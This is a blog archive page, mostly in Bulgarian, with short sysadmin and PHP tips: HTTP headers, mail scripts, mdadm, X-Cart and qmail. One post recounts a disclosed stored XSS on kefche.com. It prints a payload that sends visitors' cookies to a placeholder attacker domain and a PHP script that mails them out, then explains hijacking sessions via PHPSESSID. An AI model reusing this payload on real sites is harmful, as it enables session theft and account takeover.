Archive

Author Archive

Модифициране на HTTP Headers с PHP

// See related links for more status codes
 
// Use this header instruction to fix 404 headers
// produced by url rewriting...
header('HTTP/1.1 200 OK');
 
// Page was not found:
header('HTTP/1.1 404 Not Found');
 
// Access forbidden:
header('HTTP/1.1 403 Forbidden');
 
// The page moved permanently should be used for
// all redrictions, because search engines know
// what's going on and can easily update their urls.
header('HTTP/1.1 301 Moved Permanently');
 
// Server error
header('HTTP/1.1 500 Internal Server Error');
 
// Redirect to a new location:
header('Location: http://www.example.org/');
 
// Redriect with a delay:
header('Refresh: 10; url=http://www.example.org/');
print 'You will be redirected in 10 seconds';
 
// you can also use the HTML syntax:
// <meta http-equiv="refresh" content="10;http://www.example.org/ />
 
// override X-Powered-By value
header('X-Powered-By: PHP/4.4.0');
header('X-Powered-By: Brain/0.6b');
 
// content language (en = English)
header('Content-language: en');
 
// last modified (good for caching)
$time = time() - 60; // or filemtime($fn), etc
header('Last-Modified: '.gmdate('D, d M Y H:i:s', $time).' GMT');
 
// header for telling the browser that the content
// did not get changed
header('HTTP/1.1 304 Not Modified');
 
// set content length (good for caching):
header('Content-Length: 1234');
 
// Headers for an download:
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="example.zip"'); 
header('Content-Transfer-Encoding: binary');
// load the file to send:
readfile('example.zip');
 
// Disable caching of the current document:
header('Cache-Control: no-cache, no-store, max-age=0, must-revalidate');
header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past
header('Pragma: no-cache');
 
// set content type:
header('Content-Type: text/html; charset=iso-8859-1');
header('Content-Type: text/html; charset=utf-8');
header('Content-Type: text/plain'); // plain text file
header('Content-Type: image/jpeg'); // JPG picture
header('Content-Type: application/zip'); // ZIP file
header('Content-Type: application/pdf'); // PDF file
header('Content-Type: audio/mpeg'); // Audio MPEG (MP3,...) file
header('Content-Type: application/x-shockwave-flash'); // Flash animation
 
// show sign in box
header('HTTP/1.1 401 Unauthorized');
header('WWW-Authenticate: Basic realm="Top Secret"');
print 'Text that will be displayed if the user hits cancel or ';
print 'enters wrong login data';

Не мога да си припиша заслугите, но понеже ми хареса, статията е copy/paste @ jonasjohn

Categories: PHP Tags:

Елементарен скрипт за изпращане на mail през bash

#!/bin/bash
SUBJECT="I am subject"
EMAIL="user@domain.com"
 
EMAILMESSAGE=""
echo "Hello World" > $EMAILMESSAGE
echo "I am test text" >> $EMAILMESSAGE
 
/bin/mail -s "$SUBJECT" "$EMAIL" < $EMAILMESSAGE
Categories: bash Tags:

“Bad file descriptor” грешка при компилиране на РНР

Днес инсталирам нова машина и се натъкнах на един странен проблем:
(тук спестявам доста редове грешки при конфигурирането)

./configure: 608: 6: Bad file descriptor

Решението на проблема е, да си инсталирам autoconf2.13 (на къде без него :) )

apt-get install autoconf2.13
Categories: Debian, PHP Tags:

MySQL query status “Repair by sorting”

“Repair by sorting” is MyISAM’s way of updating the indexes after a bulk insert. When inserting Millions of rows of data into a MyISAM table, it is normal for the index updates to take longer than the actual inserts.

copy/paste @ mysql

Categories: MySQL Tags:

Как хакнах kefche.com? :)

Като начало ще кажа, че предварително съм уведомил най-главния администратор, (или поне така пишеше в екипа на сайта) mesmeric, за проблема.

И сега, за да не се опитвате да го правите отново и отново, трябва да знаете, че проблема вече е разрешен от програмистите на сайта и дупката е затворена.

Какво се случи всъщност…

Както се “разхождах” насам-натам из сайта, реших да проверя какво може самият сайт (това ми е професионално изкривяване). Без да искам се натъкнах на съвсем елементарен начин да инжеркирам JavaScript в описанието на профила си.
Профил -> Настройки -> Описание и там написах следното:

<body onload="alert('hello world');">

Тъй като не се получи, опитах нещо друго, а именно:

<body oNload="alert('hello world');">

Забележете, че тук имам главно N. Това се прие от системата и всеки, който отвореше профила ми виждаше това, което съм написал в oNload таг-а.

Реших да си поиграя още малко (межувременно чаках отговор от администраторите на kefche).
Използвах следният скрипт:

<body onLoad="new Image().src='http://XSSATTACKDOMAIN.com/kefche.php?c='+encodeURI(document.cookie)+'USERNAME__'+document.getElementsByClassName('wlink')[0];">

Тоест, взимам всички cookies на потребителя, който разглежда моят профил заедно с линк до неговият потребителски профил и ги изпращам на мейла си:

kefche.php

mail('mail@domain.com', 'kefche sess', $_GET['c']);

После сменям моето PHPSESSID със стойността на нечие друго потребителско cookie и на следващият клик се озовавам с неговият акаунт :)

Инфо: след като оправиха проблема изрично съм поискал разрешение от въпросната администраторка за да публикувам тази статия.

Quick: mdadm check RAID

Как да накараме mdadm да ни информира ако имаме проблем с някой от RAID масивите?

Елементарно:

mdadm --monitor --scan --mail=MAIL@DOMAIN.com --delay=3600 --daemonize --test

Featured producs – 2 products per row

Lately I had to rewrite one of the xCart`s templates to show not one, but two products per row in the homepage at “Featured products” box.

It`s simple as it sounds :)

Open template products_list.tpl and on line 23 add this

style="width:45%; float:left;"

so it should look like this:

<div{interline name=products additional_class=item} style="width:45%; float:left;">

Ot line 122 add:

<div style="clear:both;"></div>

it should look like this:

  {/foreach}
	<div style="clear:both;"></div>
</div>

And now you will have two products per row in your homepage :)

Categories: X-Cart Tags:

PHP 5.3 – `ereg is deprecated`

При поредният ъпгрейд на РНР се получи въпросната грешка, която за моя радост има лесно решение :)

ereg()

ereg('\.([^\.]*$)', $this->string, $extension);

За да работи, заместваме с:

preg_match('/\.([^\.]*$)/', $this->string, $extension);

Забележете, че се добавят елементарни разделители “/” за да се получи желаният “ефект”

ereg_replace()

$this->string = ereg_replace('[^A-Za-z0-9_]', '', $this->string);

За да работи, заместваме с:

$this->string = preg_replace('/[^A-Za-z0-9_]/', '', $this->string);
Categories: PHP Tags:

Добавяне на “Производител” в страницата с преглед на продукт

Отваряме product.php и на ред 106 (при не модифицирана система) поставяме следният код:

$product_info['manufacturer'] = func_query_first_cell("SELECT manufacturer FROM $sql_tbl[manufacturers] WHERE manufacturerid=$product_info['manufacturerid']");

След това намираме product.tpl в темплейта, който използваме за сайта и в него на мястото където искаме да покажем името на производителя пишем {$product.manufacturer}

Ако искате можете да добавите логото на производителя вместо името му като използвате пак в product.tpl следният код:

<img src="/image.php?id={$product.manufacturerid}&type=M" alt="{$manufacturer}" />
Categories: X-Cart Tags:

Как да видим опашката от мейли на Qmail?

Елементарно :)

/var/qmail/bin/qmail-qstat

Пример за това колко мейла има в опашката:

[12:04:03] blagomir@butterfly [~] #: /var/qmail/bin/qmail-qstat
messages in queue: 44
messages in queue but not yet preprocessed: 0

Пример, с който да покажем до къде изпращаме мейли:

[13:30:06] blagomir@butterfly [~] #: /var/qmail/bin/qmail-qread
16 Jul 2011 10:30:29 GMT  #4199501  640  <info@domain.bg> 
	remote	MAILBOX@DOMAIN.org
18 Jul 2011 08:17:14 GMT  #4530632  643  <info@domain.bg> 
	remote	MAILBOX@DOMAIN.org